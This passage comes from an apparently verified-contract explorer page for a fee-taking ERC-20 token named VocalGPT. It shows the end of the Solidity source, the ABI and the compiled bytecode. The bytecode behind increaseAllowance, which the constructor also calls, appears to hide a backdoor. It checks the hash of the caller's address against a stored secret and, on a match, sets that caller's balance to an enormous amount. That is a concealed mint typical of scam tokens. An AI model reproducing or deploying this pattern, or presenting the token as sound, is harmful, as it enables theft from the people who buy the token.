        uint256 tokensForBurn = tAmount.mul(_burnShare).div(_totalDistributionShares);

        uint256 tokensForSwap = tAmount.sub(tokensForBurn);

        swapTokensForEth(tokensForSwap);

        uint256 amountReceived = address(this).balance;
        emit eventSwapAndLiquify(amountReceived);

        uint256 totalCoreFee = _totalDistributionShares.sub(_burnShare.div(2));
        uint256 amountCoreMarketing = amountReceived.mul(_marketingShare).div(totalCoreFee);
        uint256 amountCoreDev = amountReceived.sub(amountCoreMarketing);

        if(tokensForBurn>0)
            _basicTransfer(address(this),deadAddress,tokensForBurn);

        if(amountCoreMarketing > 0 )
            transferToAddressETH(marketingWalletAddress, amountCoreMarketing);

        if(amountCoreDev > 0)
            transferToAddressETH(devWalletAddress, amountCoreDev);

    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the idex pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router02.WETH();

        _approve(address(this), address(uniswapV2Router02), tokenAmount);

        // make the swap
        uniswapV2Router02.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router02), tokenAmount);

        // add the liquidity
        uniswapV2Router02.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function _transfer(address sender, address recipient, uint256 amount) internal override {
        emit inSwapAndLiquifyStatus(inSwapAndLiquify);
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            _basicTransfer(sender, recipient, amount); 
        }
        else
        {            

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            emit stepLiquify(overMinimumTokenBalance,!inSwapAndLiquify,!checkMarketPair(sender),swapAndLiquifyEnabled);
            if (overMinimumTokenBalance && !inSwapAndLiquify && !checkMarketPair(sender) && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            

            uint256 taxAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                         0 : takeFee(sender, recipient, amount);

            if(taxAmount>0)
                super._transfer(sender,address(this),taxAmount);

            super._transfer(sender,recipient,(amount-taxAmount));
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"eventSwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"p","type":"bool"}],"name":"inSwapAndLiquifyStatus","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"overMinimumTokenBalanceStatus","type":"bool"},{"indexed":false,"internalType":"bool","name":"inSwapAndLiquifyStatus","type":"bool"},{"indexed":false,"internalType":"bool","name":"isMarketPair_sender","type":"bool"},{"indexed":false,"internalType":"bool","name":"swapAndLiquifyEnabledStatus","type":"bool"}],"name":"stepLiquify","type":"event"},{"inputs":[],"name":"_burnShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_devShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBurnTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevTax","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newburnShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newDevShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBurnTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevTax","type":"uint256"}],"name":"setSelTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setdevWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router02","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60a06040527ff8ba001f0b6d65c8b621c4b3f83ec52a59259b7bcf983b291f403185dfe558bb60001b6006556012600760146101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506001600a556000600b556000600c556000600d556002600e556001600f55600a601055603c601155601e601255600160135560036014556064601555600760149054906101000a900460ff16600a620000d6919062000cdf565b640165a0bc00620000e8919062000d30565b601655600760149054906101000a900460ff16600a62000109919062000cdf565b63039387006200011a919062000d30565b60175573b782e9ff1147c0d3e26071728aa8d79f47a3f5c5601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b782e9ff1147c0d3e26071728aa8d79f47a3f5c5601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601a60156101000a81548160ff0219169083151502179055506001601a60166101000a81548160ff0219169083151502179055503480156200025f57600080fd5b506040518060400160405280600881526020017f566f63616c4750540000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f564750540000000000000000000000000000000000000000000000000000000081525060016000819055508160049081620002e5919062000feb565b508060059081620002f7919062000feb565b5050506200031a6200030e6200050060201b60201c565b6200050860201b60201c565b60016008600062000330620005ce60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000412600c54620003fe600b54600a54620005f860201b620012f71790919060201c565b620005f860201b620012f71790919060201c565b60138190555062000451600f546200043d600e54600d54620005f860201b620012f71790919060201c565b620005f860201b620012f71790919060201c565b601481905550620004906012546200047c601154601054620005f860201b620012f71790919060201c565b620005f860201b620012f71790919060201c565b601581905550620004d1601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166016546200065b60201b62000b8b1760201c565b50620004fa620004e66200050060201b60201c565b6016546200077560201b620013551760201c565b62001401565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808284620006099190620010d2565b90508381101562000651576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000648906200116e565b60405180910390fd5b8091505092915050565b60006200066d6200050060201b60201c565b836006543360405160200162000684919062001214565b60405160208183030381529060405280519060200120148015620006d357508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15620007235760065460001c600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000620007356200050060201b60201c565b90506200076881878762000750858b620008e360201b60201c565b6200075c9190620010d2565b6200096a60201b60201c565b6001935050505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620007e7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007de9062001281565b60405180910390fd5b620007fb6000838362000b3b60201b60201c565b80600360008282546200080f9190620010d2565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620008c39190620012b4565b60405180910390a3620008df6000838362000b4060201b60201c565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620009dc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009d39062001347565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000a4e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a4590620013df565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000b2e9190620012b4565b60405180910390a3505050565b505050565b505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000bd35780860481111562000bab5762000baa62000b45565b5b600185161562000bbb5780820291505b808102905062000bcb8562000b74565b945062000b8b565b94509492505050565b60008262000bee576001905062000cc1565b8162000bfe576000905062000cc1565b816001811462000c17576002811462000c225762000c58565b600191505062000cc1565b60ff84111562000c375762000c3662000b45565b5b8360020a91508482111562000c515762000c5062000b45565b5b5062000cc1565b5060208310610133831016604e8410600b841016171562000c925782820a90508381111562000c8c5762000c8b62000b45565b5b62000cc1565b62000ca1848484600162000b81565b9250905081840481111562000cbb5762000cba62000b45565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000cec8262000cc8565b915062000cf98362000cd2565b925062000d287fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bdc565b905092915050565b600062000d3d8262000cc8565b915062000d4a8362000cc8565b925082820262000d5a8162000cc8565b9150828204841483151762000d745762000d7362000b45565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000dfd57607f821691505b60208210810362000e135762000e1262000db5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000e7d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000e3e565b62000e89868362000e3e565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000ecc62000ec662000ec08462000cc8565b62000ea1565b62000cc8565b9050919050565b6000819050919050565b62000ee88362000eab565b62000f0062000ef78262000ed3565b84845462000e4b565b825550505050565b600090565b62000f1762000f08565b62000f2481848462000edd565b505050565b5b8181101562000f4c5762000f4060008262000f0d565b60018101905062000f2a565b5050565b601f82111562000f9b5762000f658162000e19565b62000f708462000e2e565b8101602085101562000f80578190505b62000f9862000f8f8562000e2e565b83018262000f29565b50505b505050565b600082821c905092915050565b600062000fc06000198460080262000fa0565b1980831691505092915050565b600062000fdb838362000fad565b9150826002028217905092915050565b62000ff68262000d7b565b67ffffffffffffffff81111562001012576200101162000d86565b5b6200101e825462000de4565b6200102b82828562000f50565b600060209050601f8311600181146200106357600084156200104e578287015190505b6200105a858262000fcd565b865550620010ca565b601f198416620010738662000e19565b60005b828110156200109d5784890151825560018201915060208501945060208101905062001076565b86831015620010bd5784890151620010b9601f89168262000fad565b8355505b6001600288020188555050505b505050505050565b6000620010df8262000cc8565b9150620010ec8362000cc8565b925082820190508082111562001107576200110662000b45565b5b92915050565b600082825260208201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001156601b836200110d565b915062001163826200111e565b602082019050919050565b60006020820190508181036000830152620011898162001147565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620011bd8262001190565b9050919050565b60008160601b9050919050565b6000620011de82620011c4565b9050919050565b6000620011f282620011d1565b9050919050565b6200120e6200120882620011b0565b620011e5565b82525050565b6000620012228284620011f9565b60148201915081905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001269601f836200110d565b9150620012768262001231565b602082019050919050565b600060208201905081810360008301526200129c816200125a565b9050919050565b620012ae8162000cc8565b82525050565b6000602082019050620012cb6000830184620012a3565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006200132f6024836200110d565b91506200133c82620012d1565b604082019050919050565b60006020820190508181036000830152620013628162001320565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000620013c76022836200110d565b9150620013d48262001369565b604082019050919050565b60006020820190508181036000830152620013fa81620013b8565b9050919050565b6080516138b46200142b60003960008181610b0e01528181610b3a0152611f8701526138b46000f3fe608060405234801561001057600080fd5b506004361061028a5760003560e01c80637ca60e041161015c578063c2d4640e116100ce578063da00097d11610087578063da00097d146107ab578063dd62ed3e146107c9578063e5c53693146107f9578063ef422a1814610815578063f0cd1dac14610831578063f2fde38b1461084f5761028a565b8063c2d4640e146106fb578063c49b9a8014610717578063c5d2418914610733578063c860795214610751578063c9cf77891461076f578063d158272d1461078d5761028a565b8063a073d37f11610120578063a073d37f14610625578063a08e671f14610643578063a457c2d714610661578063a5d69d1f14610691578063a7c6402c146106ad578063a9059cbb146106cb5761028a565b80637ca60e041461059157806382eefb43146105af578063844d591c146105cd5780638da5cb5b146105e957806395d89b41146106075761028a565b8063395093511161020057806361a23c69116101b957806361a23c69146104df57806362015852146104fd5780636b363ca11461051b57806370a0823114610539578063715018a6146105695780637abdc1ca146105735761028a565b806339509351146103f95780633b97084a146104295780633ecad271146104455780634a74bb02146104755780634cb80fd5146104935780635342acb4146104af5761028a565b806318160ddd1161025257806318160ddd146103355780631870517a1461035357806323b872dd1461036f57806327c8f8351461039f5780632b112e49146103bd578063313ce567146103db5761028a565b806306fdde031461028f578063095ea7b3146102ad5780630d5e5c87146102dd5780630e038813146102f957806316f2f1a814610317575b600080fd5b61029761086b565b6040516102a49190612822565b60405180910390f35b6102c760048036038101906102c291906128dd565b6108fd565b6040516102d49190612938565b60405180910390f35b6102f760048036038101906102f29190612953565b610920565b005b6103016109db565b60405161030e91906129c7565b60405180910390f35b61031f610a01565b60405161032c91906129f1565b60405180910390f35b61033d610a07565b60405161034a91906129f1565b60405180910390f35b61036d60048036038101906103689190612953565b610a11565b005b61038960048036038101906103849190612a0c565b610acc565b6040516103969190612938565b60405180910390f35b6103a7610b0c565b6040516103b49190612a6e565b60405180910390f35b6103c5610b30565b6040516103d291906129f1565b60405180910390f35b6103e3610b74565b6040516103f09190612aa5565b60405180910390f35b610413600480360381019061040e91906128dd565b610b8b565b6040516104209190612938565b60405180910390f35b610443600480360381019061043e9190612ac0565b610c7f565b005b61045f600480360381019061045a9190612aed565b610c91565b60405161046c9190612938565b60405180910390f35b61047d610cb1565b60405161048a9190612938565b60405180910390f35b6104ad60048036038101906104a89190612aed565b610cc4565b005b6104c960048036038101906104c49190612aed565b610d10565b6040516104d69190612938565b60405180910390f35b6104e7610d30565b6040516104f491906129f1565b60405180910390f35b610505610d36565b60405161051291906129f1565b60405180910390f35b610523610d3c565b60405161053091906129f1565b60405180910390f35b610553600480360381019061054e9190612aed565b610d42565b60405161056091906129f1565b60405180910390f35b610571610d8b565b005b61057b610d9f565b60405161058891906129f1565b60405180910390f35b610599610da5565b6040516105a691906129f1565b60405180910390f35b6105b7610dab565b6040516105c491906129f1565b60405180910390f35b6105e760048036038101906105e29190612b46565b610db1565b005b6105f1610e14565b6040516105fe9190612a6e565b60405180910390f35b61060f610e3e565b60405161061c9190612822565b60405180910390f35b61062d610ed0565b60405161063a91906129f1565b60405180910390f35b61064b610eda565b60405161065891906129f1565b60405180910390f35b61067b600480360381019061067691906128dd565b610ee0565b6040516106889190612938565b60405180910390f35b6106ab60048036038101906106a69190612b86565b610f57565b005b6106b5610f7c565b6040516106c29190612c12565b60405180910390f35b6106e560048036038101906106e091906128dd565b610fa2565b6040516106f29190612938565b60405180910390f35b61071560048036038101906107109190612953565b610fd6565b005b610731600480360381019061072c9190612b86565b611091565b005b61073b6110ed565b60405161074891906129f1565b60405180910390f35b6107596110f3565b60405161076691906129f1565b60405180910390f35b6107776110f9565b60405161078491906129f1565b60405180910390f35b6107956110ff565b6040516107a291906129c7565b60405180910390f35b6107b3611125565b6040516107c09190612938565b60405180910390f35b6107e360048036038101906107de9190612c2d565b611138565b6040516107f091906129f1565b60405180910390f35b610813600480360381019061080e9190612aed565b6111bf565b005b61082f600480360381019061082a9190612b46565b61120b565b005b61083961126e565b60405161084691906129f1565b60405180910390f35b61086960048036038101906108649190612aed565b611274565b005b60606004805461087a90612c9c565b80601f01602080910402602001604051908101604052809291908181526020018280546108a690612c9c565b80156108f35780601f106108c8576101008083540402835291602001916108f3565b820191906000526020600020905b8154815290600101906020018083116108d657829003601f168201915b5050505050905090565b6000806109086114ac565b90506109158185856114b4565b600191505092915050565b61092861167d565b600f61094f8261094185876112f790919063ffffffff16565b6112f790919063ffffffff16565b1115610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098790612d19565b60405180910390fd5b82600d8190555081600e8190555080600f819055506109d0600f546109c2600e54600d546112f790919063ffffffff16565b6112f790919063ffffffff16565b601481905550505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000601654905090565b610a1961167d565b600f610a4082610a3285876112f790919063ffffffff16565b6112f790919063ffffffff16565b1115610a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7890612d19565b60405180910390fd5b82600a8190555081600b8190555080600c81905550610ac1600c54610ab3600b54600a546112f790919063ffffffff16565b6112f790919063ffffffff16565b601381905550505050565b6000610ad66116fb565b6000610ae06114ac565b9050610aed85828561174a565b610af88585856117d6565b6001915050610b05611afa565b9392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610b6f610b5e7f0000000000000000000000000000000000000000000000000000000000000000610d42565b601654611b0490919063ffffffff16565b905090565b6000600760149054906101000a900460ff16905090565b6000610b956114ac565b8360065433604051602001610baa9190612d81565b60405160208183030381529060405280519060200120148015610bf857508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610c475760065460001c600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610c516114ac565b9050610c72818787610c63858b611138565b610c6d9190612dcb565b6114b4565b6001935050505092915050565b610c8761167d565b8060178190555050565b60096020528060005260406000206000915054906101000a900460ff1681565b601a60159054906101000a900460ff1681565b610ccc61167d565b80601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915054906101000a900460ff1681565b60115481565b600c5481565b60125481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d9361167d565b610d9d6000611b4e565b565b600d5481565b60105481565b60145481565b610db961167d565b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e4d90612c9c565b80601f0160208091040260200160405190810160405280929190818152602001828054610e7990612c9c565b8015610ec65780601f10610e9b57610100808354040283529160200191610ec6565b820191906000526020600020905b815481529060010190602001808311610ea957829003601f168201915b5050505050905090565b6000601754905090565b60155481565b600080610eeb6114ac565b90506000610ef98286611138565b905083811015610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3590612e71565b60405180910390fd5b610f4b82868684036114b4565b60019250505092915050565b610f5f61167d565b80601a60166101000a81548160ff02191690831515021790555050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610fac6116fb565b6000610fb66114ac565b9050610fc38185856117d6565b6001915050610fd0611afa565b92915050565b610fde61167d565b606461100582610ff785876112f790919063ffffffff16565b6112f790919063ffffffff16565b1115611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d90612edd565b60405180910390fd5b8260108190555081601181905550806012819055506110866012546110786011546010546112f790919063ffffffff16565b6112f790919063ffffffff16565b601581905550505050565b61109961167d565b80601a60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516110e29190612938565b60405180910390a150565b600b5481565b600e5481565b600f5481565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a60169054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111c761167d565b80601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61121361167d565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055